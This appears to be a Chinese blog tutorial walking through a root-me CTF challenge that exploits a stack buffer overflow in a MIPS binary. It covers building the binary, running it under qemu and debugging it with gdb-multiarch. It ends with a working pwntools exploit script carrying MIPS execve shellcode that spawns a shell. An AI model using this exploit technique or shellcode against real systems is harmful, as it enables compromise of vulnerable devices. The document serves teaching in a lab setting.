如何pwn掉一个mips的binary

发布于 10 天前  13 次阅读


本文主要是带领初识mips下的二进制漏洞利用的同学完成一次简单的利用过程。重点在于环境的搭建与相关的基础知识。

这里以root-me上的一道题目为例:ELF MIPS - Stack buffer overflow - No NX

原题地址:https://www.root-me.org/en/Challenges/App-System/ELF-MIPS-Stack-buffer-overflow-No-NX

为了更全面的了解在x86上部署mips的环境的问题,这里我们并不直接使用其编译好的二进制文件,而是由其所提供的源码手动编译一份。

题目源码:

    .set    nomips16
    .global __start
    .text
​
__start:
    la      $t9, function
    jalr    $t9
    nop
    jalr    $t9
    nop
    jalr    $t9
    nop
    jalr    $t9
    nop
    jalr    $t9
    nop
    addiu   $v0, $zero, 4000 + 1
    move    $a0, $zero
    syscall
function:
    subu    $sp, $sp, 0x18
    sw      $ra, 0x14($sp)
​
    # write
    addiu   $v0, $zero, 4000 + 4
    la    $a0, 1
    la    $a1, hello
    la    $a2, hello_len
    syscall
​
    # read
    addiu   $v0, $zero, 4000 + 3
    move    $a0, $zero
    move    $a1, $sp
    addiu   $a2, $zero, 0x80
    syscall
​
    # write
    addiu   $v0, $zero, 4000 + 4
    la      $a0, 1
    la      $a1, hello_start
    la      $a2, hello_start_len
    syscall
​
    # write
    addiu   $v0, $zero, 4000 + 4
    la      $a0, 1
    move    $a1, $sp
    la      $a2, 20
    syscall
​
    lw      $ra, 0x14($sp)
    addiu   $sp, 0x18
    jr      $ra
    nop
​
.data
​
hello:  .asciz  "Hello World\nWhat is your name: "
    hello_len =    . - hello
hello_start:  .asciz  "Hello "
    hello_start_len =    . - hello_start

这里我们需要安装异架构的编译工具链——mips版本的gcc以及相关组件

apt 中对应的包名为 gcc-mips-linux-gnugcc-mipsel-linux-gnu

这里就要提到其中的mips与mipsel的差别了

mipsel 指的是 mips little endian ,对应的编译出的二进制文件是遵循小端序的。相应的 mips 则默认为大端序。

root-me 的原题是为大端序,那我们这里也选用相同的即可。

sudo apt install gcc-mips-linux-gnu

这样我们便可以编译汇编程序了:

mips-linux-gnu-as -o ch65.o ch65.s # 汇编输出目标文件
mips-linux-gnu-ld -o ch65 ch65.o   # 链接输出可执行文件

使用file查看一下得到的二进制文件:

mips$ file ch65
ch655: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped

checksec:

mips$ checksec ch65
[*] '/home/izayoi/ctf/ISCC/mips/ch655'
    Arch:     mips-32-big
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

可以看到汇编生成的二进制程序是没有任何保护措施的。

静态分析直接使用IDA即可,我们看看反汇编出的代码:

.text:00400130 function:                                # CODE XREF: _ftext+8↑p
.text:00400130                                          # DATA XREF: _ftext↑o
.text:00400130
.text:00400130 var_4           = -4
.text:00400130
.text:00400130                 addiu   $sp, -0x18
.text:00400134                 sw      $ra, 0x18+var_4($sp)
.text:00400138                 li      $v0, 0xFA4
.text:0040013C                 li      $a0, 1
.text:00400140                 la      $a1, _fdata      # "Hello World\nWhat is your name: "
.text:00400148                 li      $a2, 0x20
.text:00400150                 syscall 0
.text:00400154                 li      $v0, 0xFA3
.text:00400158                 move    $a0, $zero
.text:0040015C                 move    $a1, $sp
.text:00400160                 li      $a2, 0x80
.text:00400164                 syscall 0
.text:00400168                 li      $v0, 0xFA4
.text:0040016C                 li      $a0, 1
.text:00400170                 la      $a1, hello_start  # "Hello "
.text:00400178                 li      $a2, 7
.text:00400180                 syscall 0
.text:00400184                 li      $v0, 0xFA4
.text:00400188                 li      $a0, 1
.text:0040018C                 move    $a1, $sp
.text:00400190                 li      $a2, 0x14
.text:00400194                 syscall 0
.text:00400198                 lw      $ra, 0x18+var_4($sp)
.text:0040019C                 addiu   $sp, 0x18
.text:004001A0                 jr      $ra
.text:004001A4                 nop
.text:004001A4  # End of function function

这里先说明一下所要了解的mips中的相关系统调用与函数调用规则:

  • 系统调用使用syscall指令,其中:
    • 系统调用号存放于v0寄存器
    • 参数依次存放于a0、a1、a2寄存器中
  • 函数调用栈的栈顶指针存放于sp寄存器中(作用类似于esp)
  • 栈基址寄存器fp(作用类似于ebp)
  • ra(return address)寄存器用于存放返回地址,函数返回时一般使用 jr $ra 指令
  • t9为临时寄存器,常常用来调用函数,如本题的jalr $t9指令

那么我们就可以知道:

.text:00400138                 li      $v0, 0xFA4
.text:0040013C                 li      $a0, 1
.text:00400140                 la      $a1, _fdata      # "Hello World\nWhat is your name: "
.text:00400148                 li      $a2, 0x20
.text:00400150                 syscall 0

即调用了sys_write(1, “Hello World\nWhat is your name:”, 0x20)

同理可知,紧接着程序调用了

  • sys_read(0, sp, 0x80)
  • sys_write(1, “Hello”, 7)
  • sys_write(1, sp, 0x14)

由静态分析可知,function函数主要进行了一下操作:

  • 最开始通过将栈寄存器sp(作用类似于X86中的esp)减去0x18,而开辟了0x18字节的空间。
  • 通过sw(store word)指令,将返回地址(ra寄存器中,即“return address”)存放于sp + 0x14 的空间中。
  • 那么剩余的sp到sp+14这14字节用于做什么了呢?可以看到在调用read系统调用时,写入的起始地址即为sp所指向的位置,所以这段空间用于保存了用户输入的字符串。
  • 在进行了一次write,一次read,又两次write后,程序使用lw(load word)指令,从sp + 0x14 处取回返回地址至ra寄存器中,并跳转过去。

其次,调用function函数的_start函数,通过重复的jalr $t9使得function函数反复执行五次后方得以调用sys_exit(0)退出程序。

静态分析完毕,我们不难发现栈溢出漏洞的存在——通过减小sp为用户输入开辟的空间只有0x14字节,而调用sys_read()读入用户输入时却能读入0x80字节,造成栈溢出。

接下来我们使用动态调试,以验证漏洞。

在异构的系统环境下想要运行一个mips的二进制可执行文件,qemu自然是少不了的。

sudo apt install qemu 
sudo apt install qemu-user-static
sudo apt install qemu-system
sudo apt install uml-utilities
sudo apt install bridge-utils

由于我们的题目文件是 mips32 且为大端序,则使用qemu执行它的命令为:qemu-mips ch65

这里要提到,由于此时我们的题目文件是静态链接的,并不需要相关的动态链接库故直接使用qemu-mips运行即可。但若题目文件是动态链接的话,就会出现qemu运行它时提示”未找到动态链接库文件“的错误。

此时会有两种情况:

  • 缺少的是标准库
    • 使用软件包管理器安装相应的链接库文件即可
    • 使用如下命令搜索apt search "libc6-" | grep "ARCH"
    • 安装类似 libc6-ARCH-cross 形式的软件包即可
  • 缺少的第三方库文件题目已给出
    • 方法一、使用chroot将根目录设为当前目录,并将第三方库文件放置于./lib/中。然后使用qemu-mips-static运行(qemu-mips是动态链接的可执行文件,更改了根目录后会因无法找到动态链接库而无法运行)
    • 方法二、使用如下命令添加动态链接库搜寻路径:
    • export LD_LIBRARY_PATH=`pwd` 或 LD_PRELOAD=./libc.so.6 ./test

可以看到程序成功运行了起来,且与我们IO交互5次后退出

那么现在使用qemu将程序运行起来,并为gdb打开一个供调试的端口,命令为qemu-mips -g 12345 ./ch65

此时就差启动gdb并接入12345端口进行调试了。

那么问题就又出现了,我们所使用的gdb是默认无法调试mips架构的程序的。想要做到调试我们的程序,实际需要的是gdb-multiarch

安装:sudo apt install gdb-multiarch

安装好后便可以进行调试了。终端输入gdb-multiarch回车

这里依然建议使用pwndbg插件,具体安装方式在此不再赘述。

进入gdb后,先要告诉gdb一些程序的基本情况:

set architecture mips # 设置架构为mips
set endian big # 设置为大端序
target remote 127.0.0.1:12345 # 链接至qemu启动的调试端口

效果如图:

我们一路执行,使用超长(大于0x14字节)的字符串作为输入,便能覆盖到返回地址。

下图可以看到,当function函数返回时,ra寄存器中的值已经被篡改为了FFFF

此时劫持程序控制流的目的便达到了,接下来应该便是毫无悬念地使用ret2shellcode攻击了。

这里推荐一个网站用于获取各类shellcode:http://shell-storm.org/

qemu模拟的mips环境是没有ALSR保护的,故此时栈的加载地址总是固定的。我的机器上是0x7ffff278为function函数的栈帧起始地址,但在你们的电脑上这个值应该是不同的。

对于我的栈地址,function函数栈帧初始化完毕后:

  • sp = 0x7ffff278
  • sp ~ sp + 0x14 写入垃圾数据
  • sp + 0x14 ~ sp + 0x18 写入shellcode的起始地址(sp + 0x18)
  • sp + 0x18 之后写入shellcode

故最终的攻击脚本如下:

from pwn import *

context.arch = 'mips'
context.endian = 'big'
r = process(["qemu-mips","./ch65"]) 

shellcode_addr = 0x7ffff278+0x14+4
shellcode = "\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01\x01\x0c/bin/sh\x00"
payload = "A"*0x14
payload += p32(shellcode_addr)
payload += shellcode

r.send(payload)
r.interactive()

成功获取了本机shell:

这一题在root-me上也是旨在带领我们初识mips下的二进制漏洞利用。mips与我们所熟知的x86与amd64指令集下的漏洞原理整体相差不大。主要是在于较为底层的寄存器与汇编指令上的差距。

reference:

https://m4x.fun/post/how-2-pwn-an-arm-binary/

https://e3pem.github.io/2019/08/23/mips-pwn/mips-pwn%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/